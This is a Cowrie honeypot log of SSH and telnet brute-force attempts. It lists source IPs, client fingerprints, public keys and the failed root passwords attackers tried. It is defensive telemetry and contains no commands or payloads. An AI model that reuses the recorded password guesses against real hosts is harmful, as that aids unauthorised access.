{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:90:ce:6d:7c:65:81:cb:cd:cc:ef:26:cd:5b:23:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDhQ2Qfju6Iy3VFgnEpO9Sj9GBXh0FJ2EjOTFGe/mm1w9G+SPVQXcGMVHgHw8jAyBDSQSGonaUhORRBPMYP2Qli9Kk5BbVQQoCqm8MkOejZKTmOsJ928odDPYuYixWpopArfkgn5AmK5xLn8VPKsalo0qL15oHR2ETLpSZ4D0VBcK03KzfKKX7ZuuUjRjZ1FDGafiK5mQeRcQ+Ar1zeDyPfminIZmCrw+xkdgNqB1lIjNht4bFO6eOdd03d3xNewQjFbzIN8pHin0T9Vb9gjN4gTReu6jMUPahx2IDGDlYgwT51RqqB3tv3czEqZ00SR09xxsfbKtAjOdRTuqs5LQcJZ+whv23kOSqsq33TWWxFsAps1CrJiI4E/NZVkmwTDwyNc8Vn7i6OCjcH2MHipapweznTAIqomPzsNXnvps99M60Kjp8Zfpz0N+Zk3IyenRrP0tnpeM8eQJKGpXQhVYZHMbuuc71u0AF1fH+Nt/lMVRKDEUmtIPyhpgo3O7z1kgE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:21:14.400906Z","src_ip":"192.250.235.126","session":"0faed04f38f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:21:14.673198Z","src_ip":"192.250.235.126","session":"0faed04f38f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":62822,"dst_ip":"159.203.135.109","dst_port":22,"session":"32b653bb4aa1","protocol":"ssh","message":"New connection: 194.59.206.2:62822 (159.203.135.109:22) [session: 32b653bb4aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:22:24.248838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:22:24.253439Z","src_ip":"194.59.206.2","session":"32b653bb4aa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:22:24.343634Z","src_ip":"194.59.206.2","session":"32b653bb4aa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:22:24.465135Z","src_ip":"194.59.206.2","session":"32b653bb4aa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47916,"dst_ip":"159.203.135.109","dst_port":23,"session":"052e669e77ff","protocol":"telnet","message":"New connection: 135.148.14.151:47916 (159.203.135.109:23) [session: 052e669e77ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:23:11.177013Z"}
{"eventid":"cowrie.session.closed","duration":35.51686191558838,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:23:46.693731Z","src_ip":"135.148.14.151","session":"052e669e77ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":58444,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a229d0f2478","protocol":"ssh","message":"New connection: 103.149.28.157:58444 (10.17.0.5:22) [session: 8a229d0f2478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:24:19.601302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:24:19.606391Z","src_ip":"103.149.28.157","session":"8a229d0f2478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:24:19.862494Z","src_ip":"103.149.28.157","session":"8a229d0f2478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"magnat","message":"login attempt [root/magnat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:24:20.635683Z","src_ip":"103.149.28.157","session":"8a229d0f2478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":42750,"dst_ip":"159.203.135.109","dst_port":22,"session":"16babf904298","protocol":"ssh","message":"New connection: 147.45.211.215:42750 (159.203.135.109:22) [session: 16babf904298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:24:21.224182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:24:21.228975Z","src_ip":"147.45.211.215","session":"16babf904298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:24:21.415742Z","src_ip":"147.45.211.215","session":"16babf904298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:24:21.895938Z","src_ip":"103.149.28.157","session":"8a229d0f2478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"virus","message":"login attempt [root/virus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:24:21.921236Z","src_ip":"147.45.211.215","session":"16babf904298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:24:23.116521Z","src_ip":"147.45.211.215","session":"16babf904298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":53420,"dst_ip":"10.17.0.5","dst_port":22,"session":"de0d1b601f0f","protocol":"ssh","message":"New connection: 103.27.238.114:53420 (10.17.0.5:22) [session: de0d1b601f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:24:27.118641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:24:27.123248Z","src_ip":"103.27.238.114","session":"de0d1b601f0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:24:27.400775Z","src_ip":"103.27.238.114","session":"de0d1b601f0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"130990","message":"login attempt [root/130990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:24:28.231242Z","src_ip":"103.27.238.114","session":"de0d1b601f0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:24:29.509907Z","src_ip":"103.27.238.114","session":"de0d1b601f0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37872,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed0e2dba0dc0","protocol":"telnet","message":"New connection: 135.148.14.151:37872 (159.203.135.109:23) [session: ed0e2dba0dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:24:49.495856Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":55572,"dst_ip":"10.17.0.5","dst_port":22,"session":"68b0edd0dbf6","protocol":"ssh","message":"New connection: 103.15.222.183:55572 (10.17.0.5:22) [session: 68b0edd0dbf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:02.110120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:02.128067Z","src_ip":"103.15.222.183","session":"68b0edd0dbf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:02.383440Z","src_ip":"103.15.222.183","session":"68b0edd0dbf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cthlwt","message":"login attempt [root/cthlwt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:03.136470Z","src_ip":"103.15.222.183","session":"68b0edd0dbf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:04.390889Z","src_ip":"103.15.222.183","session":"68b0edd0dbf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.27365756034851,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:26.769406Z","src_ip":"135.148.14.151","session":"ed0e2dba0dc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":43782,"dst_ip":"159.203.135.109","dst_port":22,"session":"73a445ea6fa1","protocol":"ssh","message":"New connection: 103.77.242.62:43782 (159.203.135.109:22) [session: 73a445ea6fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:49.033554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:49.038461Z","src_ip":"103.77.242.62","session":"73a445ea6fa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:49.285192Z","src_ip":"103.77.242.62","session":"73a445ea6fa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23021987","message":"login attempt [root/23021987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:50.026146Z","src_ip":"103.77.242.62","session":"73a445ea6fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:51.276319Z","src_ip":"103.77.242.62","session":"73a445ea6fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.3.206.66","src_port":43708,"dst_ip":"10.17.0.5","dst_port":22,"session":"47431dca386c","protocol":"ssh","message":"New connection: 192.3.206.66:43708 (10.17.0.5:22) [session: 47431dca386c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:52.869482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:52.878944Z","src_ip":"192.3.206.66","session":"47431dca386c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:52.904856Z","src_ip":"192.3.206.66","session":"47431dca386c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:59:ee:03:d0:c2:ff:be:c3:1d:eb:97:ac:cd:5c:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0nGAXZznugDBgSFoKK1iUCBi9aqdQ92Hpk6Vu3elfhOPf6tbXuMbtfn2YTJS/oF/w1TcxFbxhviXsIJgK99JYWnmS6oKkK8mNq8tGEBB8Bwcmop6RierT3OtkY2TDGF4xTnapanPjG78NOoAPrUKPAHiKGwYC2yK/pl7Ywbc5wgrP4Yf2ldOssf+TSkpjBU6i9Vm4gfuW9N8hdMEDQPx0v1e2BCsEaDV3hV1QNKd2N5zsqiqiv9KzakM7kL5CC2VtlU84ZaKQ0lb3C47KZuf9D6o799MTWu1/GaJ7XJ1mPo0SgmQYDLKwijgQHq+cuFnvkkYOOJLCNd9jf1lVPFaVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:59:ee:03:d0:c2:ff:be:c3:1d:eb:97:ac:cd:5c:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:53.012113Z","src_ip":"192.3.206.66","session":"47431dca386c","protocol":"ssh"}
